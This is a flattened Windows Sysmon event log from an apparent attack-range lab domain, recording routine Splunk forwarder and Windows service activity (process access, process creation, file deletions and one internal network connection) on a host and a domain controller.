14:48:35.183{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014613Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:35.183{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014612Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:35.183{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014611Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:35.183{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014610Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:35.183{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014609Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:35.183{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-7043-613B-B404-00000000F101}3580C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014608Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:35.183{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7043-613B-B404-00000000F101}3580C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014607Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:35.184{625C326B-7043-613B-B404-00000000F101}3580C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000014606Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:35.105{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=9B33817F4A03B996328528F88C7F6021,SHA256=37F9E70FBB36A947A3FC335410C3FB29BE7E1797D9605BC1CA3EEA74A4C09F05,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046851Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:36.763{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A8E5CAA9AE020E866F196CB0F6EE5972,SHA256=291F847FFB24D888E84D913305F23E2ED201E572AAB9DD46E7133D4AE8A578D3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014650Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:36.370{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=66A1997AA111D6E6B33A72E37CE05564,SHA256=16B67FA38AA9F4C37D36A1270B48D12C9DF5612111BB18CC5A8B5B9D002E47CA,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000014649Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:36.370{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7044-613B-B604-00000000F101}3808C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000014648Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:36.370{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=CC1D37A89D68E94AAEEC698235771D4D,SHA256=F81EDB6313F60EF93F15F757018D0487BA0909F31EBB112F99565CEA31C9EDB0,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000014647Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:36.370{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014646Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:36.370{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014645Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:36.370{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014644Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:36.370{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014643Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:36.370{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014642Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:36.370{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014641Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:36.370{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014640Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:36.370{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014639Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:36.370{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014638Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:36.370{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-7044-613B-B604-00000000F101}3808C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014637Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:36.370{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7044-613B-B604-00000000F101}3808C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014636Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:36.371{625C326B-7044-613B-B604-00000000F101}3808C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000014635Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:36.105{625C326B-7043-613B-B504-00000000F101}31481848C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000046853Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:37.967{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=90395AF5965E68AE0A2E69C2CE486C4A,SHA256=AC340D6EACF12F9B384A2FB43F1F00603AF9BD375DB2A2518FA9C008D8A422DD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014652Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:37.370{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=DD4C92E9EB2D9AE08C73D5E084301711,SHA256=1568BF31A55FD4041C32A4E2AA45D8AEBADF02D6859666A767D19D902C4D8BE2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014651Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:37.120{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D31B3D9422F220085C437B815A9A10E3,SHA256=E21DF42D5A6348C066B56879F590372CA8746015394730B7C7594DF12060D88A,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046852Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:35.500{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59349-false10.0.1.12-8000- 23542300x800000000000000014653Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:38.152{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FD6430F690F42696C782485F1120BED1,SHA256=FFD8D5A3462465D5B1A08B98F2514400A52AF05C7F59D8F42C4603A1545BB8CE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046854Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:39.170{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=88FA3633DA3BDEAA428CA4E4E6F2E450,SHA256=C74E11AF71BEF072754781DC3C85BC2456A35949AE07B4002A3EB9C2D33E6CE8,IMPHASH=00000000000000000000000000000000falsetrue 